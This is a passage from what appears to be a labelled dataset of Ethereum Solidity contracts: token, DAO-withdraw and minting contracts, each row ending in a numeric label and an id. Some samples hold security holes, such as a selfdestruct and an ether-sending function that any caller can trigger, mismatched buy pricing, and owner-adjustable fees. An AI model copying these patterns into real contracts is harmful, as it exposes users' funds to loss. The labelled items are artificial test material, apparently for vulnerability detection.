FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() payable public {
selfdestruct(owner);
}
function getEth(uint num) payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 0 | 622 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0xbb9bc244d798123fde783fcc1c72d3bb8c189413);
address public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 2,210 |
pragma solidity 0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
(bool success, ) = recipient.call{value: amount}('');
require(
success,
'Address: unable to send value, recipient may have reverted'
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
'Address: low-level call with value failed'
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
'Address: insufficient balance for call'
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(
_previousOwner == msg.sender,
"You don't have permission to unlock"
);
require(block.timestamp > _lockTime, 'Contract is locked until 7 days');
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Kawa is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 999999999999 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Kawakami Inu';
string private _symbol = 'KAWA';
uint8 private _decimals = 18;
address public devAddress =
address(0x93837577c98E01CFde883c23F64a0f608A70B90F);
uint256 public devFee = 2;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 0;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], 'Account is already excluded');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setDevFeePercent(uint256 fee) external onlyOwner {
devFee = fee;
}
function setDevAddress(address account) external onlyOwner {
devAddress = account;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {
_liquidityFee = liquidityFee;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
uint256 contractTokenBalance = balanceOf(address(this));
if (
contractTokenBalance > 0 &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
to != uniswapV2Pair
) {
swapAndSendToDev(contractTokenBalance);
}
if (
!inSwapAndLiquify &&
(from == uniswapV2Pair || to == uniswapV2Pair) &&
!isExcludedFromFee(from) &&
!isExcludedFromFee(to)
) {
uint256 devAmount = amount.mul(devFee).div(100);
uint256 remainingAmount = amount.sub(devAmount);
_tokenTransfer(from, address(this), devAmount, false);
_tokenTransfer(from, to, remainingAmount, true);
} else {
_tokenTransfer(from, to, amount, false);
}
}
function swapAndSendToDev(uint256 tokenAmount) private lockTheSwap {
swapTokensForEth(tokenAmount);
uint256 devAmountETH = address(this).balance;
payable(devAddress).call{value: devAmountETH}('');
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | 0 | 1,670 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract RBACMixin {
string constant FORBIDDEN = "Haven't enough right to access";
mapping (address => bool) public owners;
mapping (address => bool) public minters;
event AddOwner(address indexed who);
event DeleteOwner(address indexed who);
event AddMinter(address indexed who);
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
owners[_who] = _flag;
if (_flag) {
emit AddOwner(_who);
} else {
emit DeleteOwner(_who);
}
return true;
}
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
interface IMintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
}
contract PlatformBucket is RBACMixin, IMintableToken {
using SafeMath for uint;
uint256 public size;
uint256 public rate;
uint256 public lastMintTime;
uint256 public leftOnLastMint;
IMintableToken public token;
event Leak(address indexed to, uint256 left);
constructor (address _token, uint256 _size, uint256 _rate) public {
token = IMintableToken(_token);
size = _size;
rate = _rate;
leftOnLastMint = _size;
}
function setSize(uint256 _size) public onlyOwner returns (bool) {
size = _size;
return true;
}
function setRate(uint256 _rate) public onlyOwner returns (bool) {
rate = _rate;
return true;
}
function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) {
return setSize(_size) && setRate(_rate);
}
function mint(address _to, uint256 _amount) public onlyMinter returns (bool) {
uint256 available = availableTokens();
require(_amount <= available);
leftOnLastMint = available.sub(_amount);
lastMintTime = now;
require(token.mint(_to, _amount));
return true;
}
function availableTokens() public view returns (uint) {
uint256 timeAfterMint = now.sub(lastMintTime);
uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint);
return size < refillAmount ? size : refillAmount;
}
} | 1 | 3,309 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
